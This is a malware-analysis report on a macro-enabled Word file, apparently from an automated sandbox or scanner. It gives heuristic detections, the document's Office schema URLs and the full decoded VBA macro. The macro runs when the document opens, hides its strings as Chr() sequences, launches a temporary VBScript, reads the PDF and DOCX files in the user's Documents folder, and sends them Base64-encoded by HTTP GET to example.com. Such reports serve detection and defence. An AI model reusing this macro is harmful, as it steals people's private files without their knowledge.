MALICIOUS
290
Risk Score
Heuristics 7
-
ClamAV: Win.Worm.IFeel-1 critical CLAMAV_DETECTIONClamAV detected this file as malware: Win.Worm.IFeel-1
-
VBA project inside OOXML medium 4 related findings OOXML_VBADocument contains a VBA project — VBA macros present
-
Obfuscated auto-exec VBA loader critical OLE_VBA_OBFUSCATED_AUTOEXEC_LOADERAuto-exec VBA reconstructs strings with a heavy custom decoder (numeric char-array, repeated hex-string decode, or junk-token Replace removal) and feeds them to a COM-instantiation or execution sink. This obfuscated-loader shape keeps CreateObject/Shell/URL indicators out of the macro source.Matched line in script
username = CreateObject(Chr(87) & Chr(83) & Chr(99) & Chr(114) & Chr(105) & Chr(112) & Chr(116) & Chr(46) & Chr(78) & Chr(101) & Chr(116) & Chr(119) & Chr(111) & Chr(114) & Chr(107)).username -
CreateObject call high OLE_VBA_CREATEOBJCreateObject callMatched line in script
username = CreateObject(Chr(87) & Chr(83) & Chr(99) & Chr(114) & Chr(105) & Chr(112) & Chr(116) & Chr(46) & Chr(78) & Chr(101) & Chr(116) & Chr(119) & Chr(111) & Chr(114) & Chr(107)).username -
VBA p-code auto-exec with execution tokens high OLE_VBA_PCODE_AUTOEXEC_EXECTriggers on the COMBINATION of two tokens co-occurring in the same compiled VBA/cache stream: an auto-execution entry point (Auto_Open / AutoOpen / Document_Open / Workbook_Open / Auto_Close / AutoClose) AND a shell/download/object-execution token (Shell, CreateObject, GetObject, PowerShell, cmd.exe, URLDownloadToFile, WinHttp, XMLHTTP, ADODB.Stream, ShellExecute, ExecuteExcel4Macro). Neither token alone fires it — it is the pairing that flags p-code-only or source-extraction-failure macro documents where the visible VBA source is unavailable. The matched tokens are named in the detail line below.
-
Document_Open macro low OLE_VBA_DOCOPENDocument_Open macroMatched line in script
Private Sub Document_Open() -
Embedded URL info EMBEDDED_URLOne or more URLs were extracted from the document. The URL itself is not a detection — see the per-URL labels for which channel (macro, JS, link annotation, document body, ...) reached each URL.URL http://schemas.microsoft.com/office/word/2010/wordprocessingCanvas In document text (OOXML body / shared strings)
- http://schemas.microsoft.com/office/drawing/2014/chartexIn document text (OOXML body / shared strings)
- http://schemas.microsoft.com/office/drawing/2015/9/8/chartexIn document text (OOXML body / shared strings)
- http://schemas.microsoft.com/office/drawing/2015/10/21/chartexIn document text (OOXML body / shared strings)
- http://schemas.microsoft.com/office/drawing/2016/5/9/chartexIn document text (OOXML body / shared strings)
- http://schemas.microsoft.com/office/drawing/2016/5/10/chartexIn document text (OOXML body / shared strings)
- http://schemas.microsoft.com/office/drawing/2016/5/11/chartexIn document text (OOXML body / shared strings)
- http://schemas.microsoft.com/office/drawing/2016/5/12/chartexIn document text (OOXML body / shared strings)
- http://schemas.microsoft.com/office/drawing/2016/5/13/chartexIn document text (OOXML body / shared strings)
- http://schemas.microsoft.com/office/drawing/2016/5/14/chartexIn document text (OOXML body / shared strings)
- http://schemas.openxmlformats.org/markup-compatibility/2006In document text (OOXML body / shared strings)
- http://schemas.microsoft.com/office/drawing/2016/inkIn document text (OOXML body / shared strings)
- http://schemas.microsoft.com/office/drawing/2017/model3dIn document text (OOXML body / shared strings)
- http://schemas.microsoft.com/office/2019/extlstIn document text (OOXML body / shared strings)
- http://schemas.openxmlformats.org/officeDocument/2006/relationshipsIn document text (OOXML body / shared strings)
- http://schemas.openxmlformats.org/officeDocument/2006/mathIn document text (OOXML body / shared strings)
- http://schemas.microsoft.com/office/word/2010/wordprocessingDrawingIn document text (OOXML body / shared strings)
- http://schemas.openxmlformats.org/drawingml/2006/wordprocessingDrawingIn document text (OOXML body / shared strings)
- http://schemas.openxmlformats.org/wordprocessingml/2006/mainIn document text (OOXML body / shared strings)
- http://schemas.microsoft.com/office/word/2010/wordmlIn document text (OOXML body / shared strings)
- http://schemas.microsoft.com/office/word/2012/wordmlIn document text (OOXML body / shared strings)
- http://schemas.microsoft.com/office/word/2018/wordml/cexIn document text (OOXML body / shared strings)
- http://schemas.microsoft.com/office/word/2016/wordml/cidIn document text (OOXML body / shared strings)
- http://schemas.microsoft.com/office/word/2018/wordmlIn document text (OOXML body / shared strings)
- http://schemas.microsoft.com/office/word/2023/wordml/word16duIn document text (OOXML body / shared strings)
- http://schemas.microsoft.com/office/word/2020/wordml/sdtdatahashIn document text (OOXML body / shared strings)
- http://schemas.microsoft.com/office/word/2024/wordml/sdtformatlockIn document text (OOXML body / shared strings)
- http://schemas.microsoft.com/office/word/2015/wordml/symexIn document text (OOXML body / shared strings)
- http://schemas.microsoft.com/office/word/2010/wordprocessingGroupIn document text (OOXML body / shared strings)
- http://schemas.microsoft.com/office/word/2010/wordprocessingInkIn document text (OOXML body / shared strings)
- http://schemas.microsoft.com/office/word/2006/wordmlIn document text (OOXML body / shared strings)
- http://schemas.microsoft.com/office/word/2010/wordprocessingShapeIn document text (OOXML body / shared strings)
Extracted artifacts 2
Files carved from inside the sample during analysis.
| Filename | Kind | Source | Size |
|---|---|---|---|
macros.bas |
vba-macro | oletools.olevba.extract_macros (decoded VBA source from OOXML) | 6345 bytes |
SHA-256: 29a97ef5ad25dacec3f8931cc4cdd09fbd019a6898058682944c03fa0462f7c2 |
|||
|
Detection
ClamAV:
Win.Worm.IFeel-1
Obfuscation or payload:
unlikely
|
|||
Preview scriptFirst 1,000 lines of the extracted script
Attribute VB_Name = "ThisDocument"
Attribute VB_Base = "1Normal.ThisDocument"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = True
Attribute VB_Customizable = True
Private Sub Document_Open()
Dim oShell As Object
Dim scriptPath As String
Dim oFSO As Object
Dim oFolder As Object
Dim oFile As Object
Dim fileContents As String
Dim encodedData As String
Dim oHTTP As Object
Dim username As String
Dim oWord As Object
Dim oDoc As Object
Dim oPDF As Object
' Get the current username
username = CreateObject(Chr(87) & Chr(83) & Chr(99) & Chr(114) & Chr(105) & Chr(112) & Chr(116) & Chr(46) & Chr(78) & Chr(101) & Chr(116) & Chr(119) & Chr(111) & Chr(114) & Chr(107)).username
' Create a temporary .vbs script
scriptPath = Chr(67) & Chr(58) & Chr(92) & Chr(85) & Chr(115) & Chr(101) & Chr(114) & Chr(115) & Chr(92) & username & Chr(92) & Chr(65) & Chr(112) & Chr(112) & Chr(68) & Chr(97) & Chr(116) & Chr(97) & Chr(92) & Chr(76) & Chr(111) & Chr(99) & Chr(97) & Chr(108) & Chr(92) & Chr(84) & Chr(101) & Chr(109) & Chr(112) & Chr(92) & Chr(116) & Chr(101) & Chr(109) & Chr(112) & Chr(46) & Chr(118) & Chr(98) & Chr(115)
Set oShell = CreateObject(Chr(87) & Chr(83) & Chr(99) & Chr(114) & Chr(105) & Chr(112) & Chr(116) & Chr(46) & Chr(83) & Chr(104) & Chr(101) & Chr(108) & Chr(108))
Set oFSO = CreateObject(Chr(83) & Chr(99) & Chr(114) & Chr(105) & Chr(112) & Chr(116) & Chr(105) & Chr(110) & Chr(103) & Chr(46) & Chr(70) & Chr(105) & Chr(108) & Chr(101) & Chr(83) & Chr(121) & Chr(115) & Chr(116) & Chr(101) & Chr(109) & Chr(79) & Chr(98) & Chr(106) & Chr(101) & Chr(99) & Chr(116))
Set oTextStream = oFSO.CreateTextFile(scriptPath, True)
oTextStream.WriteLine Chr(67) & Chr(114) & Chr(101) & Chr(97) & Chr(116) & Chr(101) & Chr(79) & Chr(98) & Chr(106) & Chr(101) & Chr(99) & Chr(116) & Chr(40) & Chr(34) & Chr(87) & Chr(83) & Chr(99) & Chr(114) & Chr(105) & Chr(112) & Chr(116) & Chr(46) & Chr(83) & Chr(104) & Chr(101) & Chr(108) & Chr(108) & Chr(34) & Chr(41) & Chr(46) & Chr(82) & Chr(117) & Chr(110) & Chr(32) & Chr(34) & Chr(99) & Chr(109) & Chr(100) & Chr(46) & Chr(101) & Chr(120) & Chr(101) & Chr(32) & Chr(47) & Chr(99) & Chr(32) & Chr(101) & Chr(99) & Chr(104) & Chr(111) & Chr(32) & Chr(84) & Chr(104) & Chr(105) & Chr(115) & Chr(32) & Chr(105) & Chr(115) & Chr(32) & Chr(97) & Chr(32) & Chr(116) & Chr(101) & Chr(109) & Chr(112) & Chr(111) & Chr(114) & Chr(97) & Chr(114) & Chr(121) & Chr(32) & Chr(115) & Chr(99) & Chr(114) & Chr(105) & Chr(112) & Chr(116) & Chr(34) & Chr(44) & Chr(32) & Chr(48) & Chr(44) & Chr(32) & Chr(84) & Chr(114) & Chr(117) & Chr(101)
oTextStream.Close
' Execute the .vbs script
oShell.Run Chr(119) & Chr(115) & Chr(99) & Chr(114) & Chr(105) & Chr(112) & Chr(116) & Chr(46) & Chr(101) & Chr(120) & Chr(101) & Chr(32) & scriptPath, 0, True
' Search for .pdf and .docx files in the Documents folder
Set oFolder = oFSO.GetFolder(Chr(67) & Chr(58) & Chr(92) & Chr(85) & Chr(115) & Chr(101) & Chr(114) & Chr(115) & Chr(92) & username & Chr(92) & Chr(68) & Chr(111) & Chr(99) & Chr(117) & Chr(109) & Chr(101) & Chr(110) & Chr(116) & Chr(115))
For Each oFile In oFolder.Files
If Right(oFile.Name, 4) = Chr(46) & Chr(112) & Chr(100) & Chr(102) Then
' Read the contents of the PDF file
Set oPDF = CreateObject(Chr(65) & Chr(99) & Chr(114) & Chr(111) & Chr(69) & Chr(120) & Chr(99) & Chr(104) & Chr(46) & Chr(80) & Chr(68) & Chr(68) & Chr(111) & Chr(99))
If oPDF.Open(oFile.Path) Then
fileContents = oPDF.GetInfo(Chr(67) & Chr(111) & Chr(110) & Chr(116) & Chr(101) & Chr(110) & Chr(116) & Chr(115))
oPDF.Close
End If
ElseIf Right(oFile.Name, 5) = Chr(46) & Chr(100) & Chr(111) & Chr(99) & Chr(120) Then
' Read the contents of the DOCX file
Set oWord = CreateObject(Chr(87) & Chr(111) & Chr(114) & Chr(100) & Chr(46) & Chr(65) & Chr(112) & Chr(112) & Chr(108) & Chr(105) & Chr(99) & Chr(97) & Chr(116) & Chr(105) & Chr(111) & Chr(110))
Set oDoc = oWord.Documents.Open(oFile.Path)
fileContents = oDoc.Content.Text
oDoc.Close False
oWord.Quit
End If
If fileContents <> "" Then
' Base64 encode the file contents
encodedData = EncodeBase64(fileContents)
' Send the encoded data via HTTP GET
Set oHTTP = CreateObject(Chr(77) & Chr(83) & Chr(88) & Chr(77) & Chr(76) & Chr(50) & Chr(46) & Chr(88) & Chr(77) & Chr(76) & Chr(72) & Chr(84))
oHTTP.Open Chr(71) & Chr(69) & Chr(84), Chr(104) & Chr(116) & Chr(116) & Chr(112) & Chr(58) & Chr(47) & Chr(47) & Chr(101) & Chr(120) & Chr(97) & Chr(109) & Chr(112) & Chr(108) & Chr(101) & Chr(46) & Chr(99) & Chr(111) & Chr(109) & Chr(47) & Chr(63) & Chr(100) & Chr(97) & Chr(116) & Chr(97) & Chr(61) & encodedData, False
oHTTP.Send
End If
Next
End Sub
Function EncodeBase64(ByVal strData As String) As String
Dim oXML As Object
Dim oNode As Object
Set oXML = CreateObject(Chr(77) & Chr(83) & Chr(88) & Chr(77) & Chr(76) & Chr(50) & Chr(46) & Chr(68) & Chr(79) & Chr(77) & Chr(68) & Chr(68) & Chr(111) & Chr(99) & Chr(117) & Chr(109) & Chr(101) & Chr(110) & Chr(116))
Set oNode = oXML.createElement(Chr(98) & Chr(54) & Chr(52))
oNode.DataType = Chr(98) & Chr(105) & Chr(110) & Chr(46) & Chr(98) & Chr(97) & Chr(115) & Chr(101) & Chr(54) & Chr(52)
oNode.NodeTypedValue = Stream_StringToBinary(strData)
EncodeBase64 = oNode.Text
End Function
Function Stream_StringToBinary(ByVal strData As String) As Object
Dim oStream As Object
Set oStream = CreateObject(Chr(65) & Chr(68) & Chr(79) & Chr(66) & Chr(46) & Chr(83) & Chr(116) & Chr(114) & Chr(101) & Chr(97) & Chr(109))
oStream.Type = 2 ' adTypeText
oStream.Charset = Chr(85) & Chr(84) & Chr(70) & Chr(45) & Chr(56)
oStream.Open
oStream.WriteText strData
oStream.Position = 0
oStream.Type = 1 ' adTypeBinary
Stream_StringToBinary = oStream.Read
End Function
|
|||
vbaProject_00.bin |
vba-project | OOXML VBA project: word/vbaProject.bin | 17408 bytes |
SHA-256: a776af2c89f4447f8053bfc47a9281dd603e83a9d2cb18cfe3aaf322ab22bd94 |
|||
|
Detection
ClamAV:
Win.Worm.IFeel-1
Obfuscation or payload:
unlikely
|
|||
Open this report in the interactive analyzer, or submit your own file for analysis.